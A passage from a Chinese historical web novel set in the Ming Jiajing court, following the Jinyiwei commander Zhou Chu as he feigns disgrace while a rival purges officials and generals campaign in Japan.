比如她的哥哥强抢民女,最后为了遮掩此事,让她家的管家带人去将那一家人一把火全都烧死了。 可是柳思思的印象之中,他们家的管家一向是慈眉善目的,对自己和家人的态度都是极其谦卑的。 又比如他们老家,周家巧取豪夺无数百姓的土地,导致成百上千的百姓流离失所,其中少数被活活饿死,还有的想要告官,被活活打死。 再比如她的父亲,陷害忠良,戕害同僚,柳思思越看越难以接受,她觉得这上面记载的都是假的,但其实她的内心有一个声音在告诉她,这些都是真的。 “好好看看吧,你看的只是其中一个卷宗,这种卷宗,有十多卷。” 周楚冷笑道。 “你还觉得你们周家无辜吗?倘若本官不查办周家,还有多少百姓遭受灭顶之灾?他们又找谁去报仇?” 周楚的话如同晨钟暮鼓一般,一字一句都敲击在柳思思的心头上。 柳思思看着卷宗上的记录,看着那上面写着的人,一个个她都无比熟悉,但做的事却让她感到无比陌生,这还是自己认识的那些人吗? “难道周家的人不该抓?你爹不该死?” 周楚看着柳思思,问道。 柳思思听到这话,脸色惨白,却想不出任何理由来反驳周楚。 此时她才明白,眼前的这个锦衣卫指挥使并非在迫害忠良,而是在为民请命,为大明根除毒瘤。 虽然不想承认,但柳思思却不得不承认。 “还有你们,你们谁想看关于你们家的卷宗,索性今日都给你们看了。” 周楚看向下方的那些女人道。 这些女人听到这话,纷纷低头,方才柳思思的反应她们都看在眼里,她们和柳思思不同,对于自家做的事,多多少少是知道一些的,不过即便知道,也只是冰山一角。 没人想要直面自己父亲和兄长的丑恶,其实除了柳思思,她们这些女人虽然对周楚有些仇恨,甚至也有些报仇的心思,但说到底,她们都清楚自家被查抄的原因,而且她们也没有勇气报仇。 “既然不想看,就继续吧。” 周楚说着似乎又恢复了方才醉眼朦胧的状态,半躺在罗汉床上,周楚家里的家具这一年的时间里,都被替换了一遍,全都是用东南亚运过来的最顶级的黄花梨打造的,包括这张罗汉床。 金丝楠木为皇家御用,周楚自然不会僭越,小叶紫檀在周楚家中都上不了台面。 “你就在这里,为我倒酒。” 周楚瞥了一眼正要退下的柳思思,说道。 柳思思听到这话,神情恭敬地跪坐在罗汉床前,为周楚斟酒,哪里还有报仇的心思。 旁边的沈炼和锦衣卫并没有因此放松警惕,时时刻刻都在盯着柳思思。 王直被委以重任的时候,其实是有些懵的,他想不明白,为何自己一个区区百户,会被突然委以如此重任,让他统帅两万大军,前往东瀛。 这种事王直以前想都不敢想,在他看来,自己无论是行军打仗的本事虽然和那些老兵,甚至千总相比丝毫不差,但论资历,自己还差很多。 特别是得知临时调过来的副统帅居然是德清公主的儿子的时候,王直更是无比震撼,他想不通自己何德何能。 实际上不只是王直想不通,林廌以及那些跟随王直的玄武军老兵也想不通。 周楚也早就聊到了这种情况,为了帮王直立威,回京之前甚至亲自去了一趟南洋,当着众将士的面,为王直拜将。 新兵们并不清楚周楚的身份,但那些玄武军的老兵见到周楚之后一个个都无比激动,这位可是他们的领路人和最高统帅。 这一年的时间,云瑾将周楚在江南做的事,打的仗,隔三差五就让人在军中宣讲,为的就是时刻保持周楚在玄武军之中绝对的威信和统帅。 有了周楚的站台,这些老兵对王直再无不服,一个个都令行禁止,那些新兵更不用说了,他们在王直面前都是新兵蛋子,哪敢不听话。 别人不清楚,周楚对王直的秉性可是很清楚的,对周楚而言,这种在外领兵的,能力或许不是所有人之中最突出的,但一定要最忠心的。 原本的历史上,王直刚开始做海上贸易走私的时候,都是在大明地方官员默许暗示之下进行的,为此王直一开始很是卖力,平定了陈思盼等多股烧杀抢掠的海盗,维持沿海秩序,逐步建立了自己海上霸主的地位。 不过汪直势力坐大之后,那些官员便翻脸不认人,主要是这口锅太大,没有哪个官员敢背,于是汪直被认定为海盗和倭寇,直到后来徐渭成为了胡宗宪的幕僚,出主意让胡宗宪诏安汪直。 从头到尾,汪直其实心里想的都是为大明建功立业,衣锦还乡。 历史或许会和周楚经历的有所不同,但一个人的秉性,基本大差不差,不会有太多偏差。 王直率领两万大军,根据周楚的指示,直奔肥前国的平户岛而去。 肥前国是东瀛的令制国之一,战斗人员并不多,在王直率领打大军之下,很快便将平户岛平推了,以平户岛为根基,开始着手建立基地。 肥前国的大名松浦兴信得知平户岛被大明军队占领之后,惊怒交加,他怎么都没想到大明会出兵到他们这里,以他肥前国的兵力,很难抵挡大明军队的火力。 想到这里,松浦兴信急忙写信给其他大名,希望他们能派兵前来支援。 王直率众在平户岛站稳脚跟之后,自然不会给松浦兴信反应的机会,直接带兵向肥前国杀了过去。 在子母炮和燧发枪,以及这两万将士的恐怖战力之下,攻打肥前国的过程异常的顺利,可谓是摧枯拉朽,甚至没遇到什么像样的抵抗,松浦兴信就被王直活捉,直接让人装船,送往大明请功去了。 至此,王直算是站稳了脚跟。 与此同时,大明的朝会上,文武百官吵成了一锅粥。 杨一清和夏言为首的文官们纷纷弹劾陈万言,为陈万言编排出无数罪名,而以陈万言为首的官员,则像是商量好的一般,抓住杨一清那边的一个四品官疯狂攻击。 一时之间,双方你来我往,唇枪舌战,好不热闹,嘉靖坐在皇位上,满脸兴奋,恨不得让黄锦给他端来一盘瓜子。 第168章 孙娇娇、韩鸢儿和沈青到来,周楚的演技 周楚正在家听曲呢,却看到孙娇娇、韩鸢儿和沈青三女联袂而来,这让周楚有些意外。 周楚的记忆之中,孙娇娇韩鸢儿和沈青的关系一般,毕竟沈青无论是出身还是才学各个方面,和孙娇娇两女相比,都没有什么突出的地方。 特别是出身,差距很大,原本不该是一个圈子里的好友。 沈青之所以能和孙娇娇两人关系走的这么近,根本原因还是在周楚。 随着周楚身份的水涨船高,作为周楚最初东家的沈青在孙娇娇和韩鸢儿眼中的地位也随之水涨船高,再加上如今的沈青还有另一个身份,和锦衣卫百户方鸿又有婚约在身,据说这方鸿是周楚眼中的红人,跟随周楚立下了不少功劳,将来很有可能升为千户。 一旦成了千户,那身份就不一样了,锦衣卫之中百户很多,千户数量是有限的。 再加上孙娇娇和韩鸢儿已经习惯了去云桂坊定制衣物,平日里想买衣服,也是第一时间想到的云桂坊,再加上有周楚这个共同话题,一来二去,三女的关系居然变得愈发亲密。 今日孙娇娇和韩鸢儿一起去找的沈青,她们俩自从听闻周楚回京的消息,便一直想到周府来见周楚,但两女都已经成家,贸然前往周楚家中,难免遭人闲话,于是两人一合计,不如叫上沈青。 沈青和她们不同,虽说也是女儿身,却经商多年,每日都要抛头露面,甚至经常亲自带人送衣物到那些达官贵人的府上,这一点,京城之中很多人都清楚。 有沈青在,她们三人来周楚也就不显得那般突兀了。 最重要的是,孙娇娇和韩鸢儿和周楚一年多没见,内心都有些怕周楚和她们的关系生疏了,贸然登门,也不知合适不合适。 三女来周府的时候,是通报了的,周楚也是知道的,所以看到她们,周楚并不意外。 “你们怎么来了?” 周楚醉眼惺忪道。 此时的周楚,俨然一副官场失意的模样,醉眼朦胧。 沈青看着周楚这般模样,满脸心疼。 “大人何苦如此作贱自己,身子骨是自个的。” 沈青说着也不顾旁边有人,来到罗汉床上坐着,扶着喝醉了的周楚。 沈青很清楚,这周府之人,不是锦衣卫便是教坊司的人,孙娇娇和韩鸢儿两女更不会将此事说出去,倒也不必忌讳。 原本她就心悦周楚,此时看到周楚这般模样,自然心疼。 孙娇娇和韩鸢儿看到这一幕,脸色都有些不自然,这大半年和沈青姐妹相称,两人也都知道那方鸿乃是女儿身,原本她们觉得这桩婚事极为荒唐,但得知沈家的情况,现在又看到眼前这一幕。 两人这才明白,那方鸿才是最适合沈青的。 “春兰姑娘,有醒酒汤吗?” 沈青有些求助似的看向一旁的春兰。 “有,一直都备着的。” 春兰听到这话,急忙去把醒酒汤端了过来。 沈青接过醒酒汤,喝了一口,试了试温度,觉得温度合适,这才用汤匙开始往周楚嘴里送醒酒汤。 一旁的柳思思看到眼前的这三位,也有些惊讶,韩鸢儿和孙娇娇她是认识的,特别是孙娇娇,她们以前是在同一个圈层的官家小姐,即便柳思思很少出门,但一些重要的场合还是会去的。 不过柳思思在教坊司也能知道很多消息,明白无论是如今的孙娇娇还是韩鸢儿,身份都非往日可比。 孙娇娇的父亲孙弘这一年的时间可谓是青云直上,一路高升,如今已然是吏部侍郎。 韩鸢儿的父亲韩玠,如今也已经是吏部尚书,二品大员,朝中身份能超过韩玠的屈指可数。 柳思思没想到这两女和周楚的关系似乎很好,此时柳思思有些恍然,莫非孙侍郎和韩尚书的高升和眼前的这位周大人还有关系? 很快,柳思思就否定了自己这个想法,毕竟如今周楚已然失势,而那两位大人如今可是陛下眼里的红人。 周楚也不想装醉,但正所谓做戏做全套,感受着沈青身上的体香,周楚喝了醒酒汤之后装模作样的清醒了许多。 “你们先下去吧。” 周楚看着柳思思等人,挥了挥手道。 “是,大人。” 众女恭敬行礼,随后退出了正厅。 旁边的沈炼心中忍不住感慨,大人这演技,真不一般,如果是自己的话,肯定不会如此自然。 “你们怎么来了?” 周楚好似忘了刚才问了一遍,有些迷茫地看着几人道。 “我和鸢儿听闻大人回京,早就想来拜见,只是碍于身份,一直没来。” 孙娇娇略显拘谨道。 “何必如此生分,如往日一般,叫我衡器即可。” 周楚一边喝茶,一边说道。 孙娇娇听到这话,和韩鸢儿对视了一眼,都看到了彼此眼中欢喜的神色,这话让她们瞬间仿佛回到了周楚为官之前。 她们很清楚,眼前这个权势滔天的男人,如今才不过十七岁罢了,但他做的那些事,一桩桩一件件,只是听了就让人胆颤。 即便如今周楚明面上失了势,孙娇娇和韩鸢儿面对周楚的时候也都很有压力。 直到此刻,两女才放松下来。 “衡器,这些天我爹在府上总是提起你,他觉得对不住你。” 韩鸢儿面色愧疚道。 “帮我转告韩大人,不必愧疚,前些时日韩大人能在朝堂之上为我说话,我已经很是感激了,我现在满身是非,韩大人避嫌是对的,留待有用之身,为陛下,为大明百姓多做些事。” 周楚无所谓道。 实际上周楚清楚韩玠所想,他知道韩玠应该是能看出一些问题的,不过能看出来不代表就要拆穿,难得糊涂才是最高的智慧,韩玠让韩鸢儿跟周楚递这个话,无非就是传达这个意思。 不愧是混迹官场多年的老狐狸。 只不过韩鸢儿却被蒙在鼓中,听到这话,脸上的愧疚之色更甚,她觉得自己的父亲之所以能升官,全赖周衡器的帮助,如今周衡器失了势,父亲却要避嫌,这让她有些抬不起头来。 “我爹也是让我带话,差不多也是这个意思。” 孙娇娇说起这事,也是满脸不好意思。 “你们两个能来,就代表了韩大人和孙大人的态度了,何必愧疚,朋友之间何须如此?” 周楚洒脱道。 “大人。” 陆万山兴冲冲的走了进来,正要汇报,却看到了孙娇娇几人,顿时闭嘴了。 “没事,说吧,没有外人。” 周楚坐了起来,神色之中哪还有半分醉意? 第169章 拉偏架的嘉靖,无奈的杨一清 “大人,朝中百官都在弹劾陈万言,那些依附陈万言的官员也开始集中对工部的刘继进行弹劾,看样子应该是看上刘继的职务了,工部向来是肥缺,捞钱的机会多。” 陆万山并没有傻乎乎的像周楚说的那样,把什么都说出来,而是选择能当众说的这部分,领导说没有外人,多半是做给其他人看的,你如果当真,什么事都往外捅,那就蠢的不可救药了。 很显然,陆万山能成为北镇抚司镇抚使,这点子智慧还是有的,很多话选择了保留,比如锦衣卫安插在陈万言府上的人员之类的,这些保密级别很高,别说孙娇娇这些人了,即便是一般的锦衣卫也是没资格知道的。 周楚听完这话,并没有立刻回答,而是从春兰手中接过茶水,漱了漱口。 “闹吧,陈万言闹的越大越好,越无法收场越好。” 周楚无所谓道。 一旁的韩鸢儿听到这话,顿时察觉到事情的不一般,此时的她结合自己父亲近日的种种举动,这才反应过来,自己这是被父亲给利用了。 想明白这些,韩鸢儿顿时有些生气,生气的是自己的爹有什么话不能和自己明说,还用得着如此拐弯抹角,不过韩鸢儿也清楚,到了她爹这个位置,一举一动都有无数人盯着。 虽然韩鸢儿不清楚这其中到底有着什么事,但却清楚,眼前的周楚恐怕并非真的失了势,想明白这些之后,韩鸢儿眼睛顿时亮了,从心底替周楚感到高兴。 看样子,眼前这个男人,还是那个权势滔天的锦衣卫指挥使,只不过暂时选择蛰伏了起来。 至于孙娇娇,则想不了这么多,虽然模糊的意识到事情似乎没那么简单,却不会像韩鸢儿那般想的通透,毕竟她的眼界和韩鸢儿比还差了许多。 沈青则不像她俩想的这么多,毕竟沈青对朝局一窍不通,她只知道这些话要保密就对了。 实际上周楚之所以当着几人的面说出这话,首先是清楚她们三人都会保密,韩鸢儿和孙娇娇都是官家贵女,什么话能往外说,什么话不能往外说还是分的清的。 至于沈青那就更不必多说了,不该说的话从不会往外说。 更何况周楚也不怕这些话被她们传出去,传出去也得有人信才行。 反倒是此时的孙娇娇和韩鸢儿心里很是感动,特别是韩鸢儿,她觉得周楚把她当成自己人了。 “春兰,让人去备菜吧。” 周楚说完这话转头看向孙娇娇和韩鸢儿。 “既然来了,就留下吃顿饭吧,一年多没见了。” 周楚笑道。 其实按理来说,这是不符合礼制的,这个时代,哪怕是去他人府上做客,也是男的和男的一桌,女的和女的一桌,甚至很多地方都是女的不上桌。 不过周楚不太在乎这些,周府之中的一切,除了那几个替自己养马的会向皇帝报告以外,不会有其他人知道。 更何况很多官家小姐,其实都不是那么讲规矩的,规矩往往对普通百姓和富户人家的束缚最大,身份越高,规矩对其的束缚越小。 韩鸢儿和孙娇娇也都不是很守规矩的主,实际上不只是她俩,很多官家贵女都是如此,只要做的不是太过出格,都不会有人说什么,除非做的太过分,坏了名声。 最重要的是,有沈青在中间,倒也显得一切都很合理了。 韩鸢儿和孙娇娇对周楚都是那种发自内心的崇拜,毕竟如此一个传奇人物,权势滔天,周楚身上的光环实在是太多了,多到她们看周楚的目光都是自动赋魅的。 以至于她们的目光总是不自觉的会被周楚吸引。 这便是聚光灯效应,当一个人身上的光环太多,太过传奇,哪怕这个人很普通,很一般,身边的人也没办法用正常的眼光去看到他,而是自带滤镜。 更合理周楚本身一点也不普通,所以周楚对韩鸢儿和孙娇娇而言,充满了魅力,还是那种充满了危险的魅力,让两女每次在一起的时候总是不自觉的谈论关于周楚的事。 现在周楚让她们留下吃饭,她们丝毫没觉得有任何问题,反而有种受宠若惊的感觉。 周楚等人吃饭的时候,朝堂之上也分出了结果,嘉靖直接无视了那些弹劾陈万言的官员,毕竟陈万言刚上来才多久,还真没做过什么十恶不赦的事,这些官员大多是无中生有,没有可信度。 倒是陈万言的儿子陈绍祖,这一年来没少干坏事,不过嘉靖很清楚,还不到清算的时候。 “刘继,你还有什么话可说?” 嘉靖看着被陈万言的人弹劾的刘继,对于这种政治前途已经完蛋了的四品官,嘉靖甚至都不知道他的字号,也懒得称呼字号。 “陛下,臣冤枉啊,微臣不知道他们为何如此污蔑于我。” 刘继一把鼻涕一把泪道。 此时的刘继慌了,无比惊慌,他怎么都没想到,这些官员好像是商量好了一般,毫无征兆的集体弹劾他。 工部的职务一直都是肥缺,刘继这些年靠着吃拿卡要,不知道贪了朝廷多少银子,很多工程上的款项,都被他和工部的其他官员吃了七八成。 他的事根本经不起查,一查一个准,所以他才害怕,忍不住看向了一旁的杨一清,希望这位首辅大人能保他。 “陛下,臣倒是觉得这些弹劾刘继的,都居心叵测,为何其他人不弹劾,偏偏弹劾刘继?好像商量好了一般,还望陛下明察。” 杨一清作为首辅,自然是要庇护自己这边的人的,否则谁还会跟着他混? “首辅大人此言差矣,因为刘大人有问题,我等才弹劾,难道有问题不该弹劾吗?有没有问题,交给北镇抚司查一查,不就清楚了?” 陈万言那边的一个四品官直接出列,硬刚杨一清。 原本的他别说硬刚内阁首辅了,即便是杨一清瞪他一眼都能给他吓个半死。 不过今时不同往日,他自以为背靠陈万言这棵大树,可以高枕无忧,所以才会出来冲锋陷阵,为的便是将来有合适的职务,陈万言能够优先考虑他。 “朕倒是觉得此言有理,有没有问题,交给北镇抚司一查便知,倘若没问题,朕再追究这些人,石淙,你觉得如何?” 嘉靖看似在客观思考,实则就是在拉偏架,谁都看得出来,皇帝在帮陈万言这边的人说话。 杨一清听到这话,面容一肃,此时的他才明白皇帝这些天为何如此纵容陈万言,合着是把陈万言当成刀,斩向自己的人了。 不过即便明白,杨一清一时之间也没什么好办法,他很清楚,皇帝事后最多说一句自己被奸臣蒙蔽。 这种事还少吗?只不过以往的皇帝利用的都是刘瑾这等太监,很少有用官员的。 不过这陈万言如此蠢笨,倒也好用。 想明白这些,杨一清明白,自己只能退让。 “陛下所言极是。” 杨一清无奈道。 第170章 疯狂的陈万言,云瑾回京 刘继这种人,一旦交到北镇抚司手上,那便是一查一个准,甚至还拔出萝卜带出泥,因此牵扯了好几个官员,都是工部油水很足的职务。 当然,刘继为官多年,也知道什么该说,什么不该说,不该供出来的,是一个都没敢提。 北镇抚司抄了刘继等官员的家,又为国库和皇帝的内帑增加了一笔不菲的收入。 以前周楚做这把刀的时候,百官恨的咬牙切齿,但和陈万言一比,他们发现周楚虽然手段极为粗暴,却不会在查办了那些官员之后再插手这些空出来的职务的安排。 但陈万言不同,如今的陈万言在皇帝的有意放纵之下,愈发的无法无天,不仅将刘继这些官员扳倒,事后还直接给皇帝上密疏举荐人才,直接将他的人安排了上去。 陈万言吸取了之前的教训,他很清楚,自己一旦在朝堂上举荐人才,亦或是经过内阁,这事基本就成不了,内阁一个留中不发,就能将他的奏疏搁置。 所以陈万言干脆越过内阁,直接给嘉靖上密疏,这本事不合规矩的,甚至可以说是坏了规矩的,不过嘉靖既然要纵容陈万言了,索性纵容到底,直接大手一挥,将陈万言举荐的人才全都用了。 如此一来,陈万言愈发的肆无忌惮,他野心的膨胀速度远比一般的官员要快得多。 很多官员经历宦海浮沉,即便遇到这种事会膨胀,也不会一上来就膨胀,刚开始的时候都会小心谨慎,毕竟在朝中任职,一步踏错,那便是粉身碎骨,所有人都很小心。 但陈万言不同,他没有经历过复杂的官场,所谓的入仕经验,也不过一年不到,其中之前的大半年,他基本上没什么存在感。 穷人乍富,秀才掌权,如同沐猴而冠,总是拙劣的想要模仿人的一举一动,却不知他的一举一动都被耍猴人操控着,甚至还有观众观看着。 陈万言是意识不到这一点的,甚至依附于陈万言的那些人也意识不到这一点。 “大人,陈府之中安排了二十多个我们的暗桩,如今陈府的一举一动都在我们的监视之下。” 陆万山恭敬道。 “监视着就好,别让陈万言搞出什么超出控制的乱子就行,其他的不必多管。” 周楚一边往炭盆里添炭,一边说道。 为了防止陈万言失控,胡乱攀咬,周楚和嘉靖还安排了一些官员依附在陈万言手下,为陈万言出谋划策。 陈万言草包一个,该弹劾谁,该弄谁,一般都是听手下人的提议,他虽然蠢,却也有些自知之明,明白自己如果拿主意的话,恐怕会出丑。 所以后来干脆不拿主意了,全听手下的那些官员提出的主意。 再加上嘉靖的配合,陈万言发现手下有一两个官员提的建议可行度很高,他们二人提出的建议,基本上每次都能顺利实行。 于是陈万言对这两人愈发器重。 在两人的不断怂恿和嘉靖以及北镇抚司的配合之下,很快,原本杨一清和夏言那边的官员一个个被北镇抚司查处抄家。 虽然陈万言的效率远不如一年前的周楚高,但架不住频率高,一时之间,整个京城怨声载道,上到官员,下到百姓,都知道如今皇后的亲爹权势滔天,迫害忠良。 原本属于周楚的仇恨,全都被陈万言吸引了过去,没人再讨论周楚,百姓们茶余饭后讨论的都是陈万言这两日又迫害了哪位官员,又有多少官员抬着一箱箱金银财宝进了陈府。 这几乎已经成了京城明面上的秘密了。 直到此时,京城的百姓才赫然反应过来,一年前大家都说锦衣卫指挥使周楚迫害忠良,可未曾听闻这位指挥使收过谁家的好处。 那时候周府每日递拜帖的人如同过江之鲫,数不胜数,也未曾听说过这位周大人真的接见过谁。 周府周围生活着很多百姓,很多事是瞒不过大家的眼睛的,就像陈府门前那一排排的队伍一般。 如此一对比,京城的百姓才忽然反应过来,或许当初那位锦衣卫指挥使并不是在迫害忠良。 “谁跟你们说周大人是坏人了?我告诉你们,我儿子就在周大人开的那个布庄上工,周大人给他们的工钱可是整个京城最高的,而且吃的更好,顿顿有肉。” 一个四五十岁的女人甩着手中的帕子,绘声绘色地和周围的邻居说道。 “可不是吗?别人我不知道,周大人抄了那王家,可算是为我那可怜的弟弟一家报了仇了,王家可谓是坏事做尽,苍天有眼啊,不瞒你们说,这一年,我一直暗中供着周大人的长生牌位。” 另外一个女人说着说着就抹起了眼泪。 这种情况在京城之中时有发生,时间会还原一切的真相,当初怒骂周楚的那批人,经过一年多的时间沉淀,才后知后觉的发现自己当初骂错了人。 于是那批当初骂周楚的人,一个个调转枪口,开始抨击当初骂周楚的那些人,并且开始不断地美化周楚,有些事添油加醋,逐渐离谱。 人往往都是这样,容易从一个极端走向另一个极端,矫枉过正。 周楚也听到了很多离谱的谣言,比如当初周楚当官之前,某某官家小姐哭着喊着非周楚不嫁。 很多故事越传越离谱,都快成话本了。 不过周楚也懒得纠正,就像一年前,周楚被误会的时候懒得去辩解一般,周楚很清楚,这种情况不过是阶段性的,随着时间的推移,一切都会被逐渐还原。 相较于这些,周楚还有其他事要忙。 云瑾回京了。 周楚特意去的信,让云瑾回京的,毕竟云瑾离京也有一年多了,一个女孩子,离京这么久,说不想家那是假的。 周楚不想因为自己,让云瑾一直在外统兵,皇帝倘若真的想要对自己下手,总是能找到机会的。 最起码现在大明存在诸多问题,周楚相信以嘉靖的眼光和格局,还不会对自己下手。 毕竟自己连虎贲军都暂时交到了林鹿手上,对皇帝实在是没什么威胁。 大明的皇帝,除了万历不作为加短视之外,很少有清算功臣的,即便是朱见深,也只是让王直去了南京养老,并没有把他如何。 和云瑾一起回来的,还有方鸿和小刀。 方鸿正好趁着这次回来,和沈青完婚。 小刀一年多没见老乞丐,一回到京城就直奔老乞丐家去了。 老乞丐这几年年纪也愈发大了,身子骨远不如前,这个冬天又异常的寒冷,早在去年,周楚就将旁边买的一处宅子,让老乞丐居住,顺便帮周楚看宅护院。 周围的很多宅子早就被周楚买了下来,甚至还挖了密道。 老乞丐这些年跟着锦衣卫混,自然是不缺钱的,到了冬天就会给自己备足了炭,好让自己能多熬一年。 “老头子。” 小刀看着老头子那副仿佛突然苍老的模样,眼睛瞬间红了。 她怎么都没想到,自己才离开一年,老头子居然老的这般快。 “哭什么!” 金有财有些无奈道。 他当初之所以着急将小刀托付给周楚,就是清楚自己的身体恐怕熬不了几年了,做他们这一行的,哪有长寿的?整日风吹日晒,和人争斗,身上的旧伤无数,又舍不得用药。 他自己清楚自己的身子,所以当初才厚着脸皮将小刀托付给周楚,没想到遇到了真神。 金有财很清楚,如果不是因为周大人,自己恐怕连去年的冬天都熬不过去。 “咳咳咳!” 金有财刚想和小刀说说话,那破败的身子如同风箱一般,忍不住咳嗽了起来。 小刀看着床边熬着的药。 “还要熬多久?” 小刀焦急道。 “差不多了,火候刚好。” 金有财费劲道。 小刀这才端起砂锅,小心翼翼的将里面的药倒入碗中,然后扶起老乞丐,小心地喂他喝药。 第171章 焦头烂额的杨一清和夏言,杨一清的主意 “长高了,黑了,也瘦了。” 杨氏拉着云瑾的手,摸着云瑾右手因为长期握刀而起的茧子,满脸的心疼。 “我觉着挺好,成熟多了,来,我试把试把你的功夫练的怎么样了。” 陆松跃跃欲试道。 杨氏听到这话,转头瞪了陆松一眼,陆松这才悻悻的挠了挠头,取消了试自己女儿功夫的想法。 “二哥肯定打不过我。” 云瑾眉毛一扬,看着旁边的陆炜,笑道。 此刻的云瑾和军营之中的她形象大相径庭,在军营之中,云瑾一向严肃,不苟言笑,玄武军的将士一个个看到云瑾都害怕,实在是因为训练的时候没少被云瑾体罚。 但此时回到了家中,云瑾便恢复了女儿态,但又和一般的大家小姐不同,整个人显得活力四射,彰显着一种灵动的美。 陆炜听到这话,顿时不服气了,他并没有见过云瑾在外统兵大杀四方的模样,在他看来,自己比不过大哥和二哥也就认了,毕竟这些年他主要心思都在读书上,但如果说比不过小妹,他是不承认的。 毕竟在他眼中,云瑾比他小几岁,就算自己练功没那么勤奋,云瑾一个女孩子还能是自己的对手? “别说大话,比过才知道。” 陆炜说着去拿练功专用的木刀,根本不给云瑾拒绝的机会。 毕竟不如自己妹妹这种事,陆炜无论如何都不会承认的。 一字钟之后,陆炜眼神呆滞地看着手中断为两截的木刀,随后看向云瑾,仿佛在看一个怪物。 “你是怎么练的?” “太正常了,别说你本身的功夫就不如你妹妹,就算你的功夫比她强一些,你也不是她的对手。” 一旁的陆松眼光老辣,一眼就看出了其中的问题。 “这是为何?” 陆炜不解道。 “你妹妹战场厮杀无数,又岂是你这种绣花枕头能比的?真要是战场厮杀,你在她手下一招都撑不住。” 陆松看着陆炜,满脸不屑道。 陆松这种久经战阵的更清楚,别说战场上,就是他们锦衣卫和人厮杀,形势都是瞬息万变的,没人会按照套路出招,基本上都是追究简单高效的击杀敌人,胜负往往在一瞬间。 没人会和你一招一式的过招。 “没错,你那点功夫防身还行,真遇到高手赶紧跑。” 一旁的周楚笑道。 听到父亲和二哥都如此嘲笑自己,陆炜涨红了脸,却又找不出任何反驳的理由。 “你重文道,不必因此介怀。” 周楚宽慰道。 陆炜听到这话,脸色更红了,丝毫没有被安慰道。 “我们家比以前大了好多。” 云瑾此时才有功夫好好看看离开了一年的陆府。 陆炳的身份摆在那,锦衣卫指挥同知,从三品的官职,仅次于锦衣卫指挥使。 锦衣卫见官大三级,陆炳依然算是权利最顶峰的那一小撮人了,再加上陆炳和嘉靖的关系,以及杨氏和嘉靖的关系,陆府在半年前经过了一次扩建,将陆府后面的宅子都买了下来并打通了。 实际上不只是陆府,周楚的府邸也在陆炳的指挥下进行了扩建,这是嘉靖征求过周楚的意见之后让陆炳去做的,原本嘉靖是想着赐给周楚一处更大的府邸,不过周楚懒得再搬了。 云瑾回到家之后,可谓是大快朵颐,在军队之中,吃的哪能和家里相比,味道完全不在一个层次,不过云瑾平日里运动量极大,再加上基本吃的都是肉类,虽然顿顿吃的都很多,却也丝毫不见长肉。 周楚则又恢复了每日在府中听曲的悠闲日子,这么多日,每天替周楚斟酒,柳思思倒也不像一开始那般害怕周楚了,因为她发现眼前的这位锦衣卫指挥使完全不像传闻的那样,甚至和传闻完全相反。 对于周楚的做法,云瑾是知道原由的,回京的第一天,陆炳就把京中最近发生的事都告诉了她,在陆炳眼里,云瑾再也不是那个啥也不懂的妹妹了。 毕竟当初陆炳可是亲眼见识了云瑾在安南的威仪,即便是那安南王黎椿在自己的这个小妹面前也是毕恭毕敬,大气都不敢喘。 如果说陆家谁对云瑾有着最充分的认知,那无疑是陆炳了,他就不会像陆炜那般低估云瑾的实力。 另外一边,陈万言眼看皇帝对自己如此支持,心中更加认定自己的做法是对的,依附他的那些个官员从一开始的一次弹劾一个官员,直接变成了一次弹劾两到三个。 如此一来,北镇抚司就开始忙碌起来了,抄家的频率也变得更高了起来。 毕竟每一个官员被查处都不可能只涉及到他一个人,最起码都能捎带出四五个。 没用多长时间,无论是杨一清阵营的还是夏言阵营的官员都损兵折将,一时之间,杨一清和夏言都焦头烂额。 他们想过自己会被周楚搞的焦头烂额,但怎么都想不到会被一个蠢货搞的毫无办法,投鼠忌器。 这让他们感到无比憋屈,有种有力无处使的感觉。 最终夏言承受不住压力,去了杨一清府上,找杨一清商议对策。 官场上没有永远的敌人,也没有永远的朋友,现在的杨一清和夏言面临一个共同的敌人,陈万言。 更准确点来说,是陈万言背后的周楚。 “首辅大人还能坐得住?” 夏言刚到杨府正厅,看到杨一清老神在在的坐在那里喝茶,出言道。 “坐得住坐不住又能如何?夏大人难道有良策?” 杨一清不疾不徐的瞥了一眼夏言道。 “正是因为没有良策,这才来找阁老你商议良策啊。” 夏言无奈道。 “倒是有一个办法,却算不上良策。” 杨一清叹了口气道。 “阁老,你就别卖关子了。” 夏言看着杨一清这副大喘气的模样,气急道。 “你我向陛下启奏,让周楚别再休息了。” 杨一清满含深意地看了一眼夏言道。 “这怎么能行。” 夏言听到这话,直接站了起来。 第172章 嘉靖:这不太合适吧?夏言:周指挥使为国为民! “夏大人知道为何现在的很多大夫都不灵了吗?” 杨一清并没有急着解释,而是反问了一个似乎毫不相干的问题。 “因为现在的很多大夫,甚至之前那些太医院的太医,都本着不求有功但求无过的原则来给人看病,他们没什么本事,却又怕出错,就只能开温补的药。” 杨一清喝了口茶,不疾不徐道。 “但治病救人,讲究的便是对症下药,再说准确点,就是以毒攻毒,以药的偏性纠正身体的偏性,对症的话,一副药即可痊愈。” 杨一清说完这话,便不再解释,而是看着夏言。 夏言本就是人精,瞬间就听出了这话里话外的意思。 “陈万言这等蠢材,又怎么会是周楚的对手,一旦周楚再次受到皇帝的信任,别说陈万言了,你我也不是对手啊。” 夏言满脸忧虑道。 “那又如何?周楚之前该查办的基本都查办的差不多了,以后即便会有所动作,也不会比陈万言更频繁,更何况周楚可不会插手官员的任命。” 杨一清看着夏言,满脸笑容。 不愧是老狐狸,什么时候都能气定神闲。 即便是夏言,也不得不佩服杨一清的养气功夫。 “更何况周楚可不像陈万言那么蠢,他很清楚,朝中有你我的存在,他才会更安全。” 杨一清老神在在道。 夏言听到这话,陷入了沉默,如果说朝中谁最忌惮周楚的话,那无疑是夏言。 无论是一年前在京城的时候,周楚带人冲入他的府中,亦或是后来直接以锦衣卫指挥使的职务换了一千个官员,再或者是后来的江南的经历,都让夏言心有余悸。 特别是江南之行,夏言事后无数次都在庆幸,幸亏自己回京回的早,否则那场叛乱,夏言觉得周楚很有可能顺手把自己也解决了。 不过夏言也清楚,这种可能不大,期间周楚有那么一两次机会顺手把他杀了,甚至不会有任何后患,但周楚没动手。 当时夏言就明白了,周楚这是留着自己平衡局势用的。 这一点为官多年的夏言一眼便看透了。 正所谓两权相害取其轻,夏言不得不承认,陈万言给他们带来的危害和破坏比如今的周楚要大得多。 他们这种精似鬼的老狐狸,最怕的便是陈万言这种又蠢又坏,偏偏他们毫无办法的,这让他们的任何手段都没用了。 因为陈万言的背后是皇帝。 此时无论是夏言还是杨一清都看清楚了,没了周楚,皇帝还会扶持其他人,比如陈万言,相较于陈万言这种,他们更喜欢和周楚这种按规矩来的打擂台。 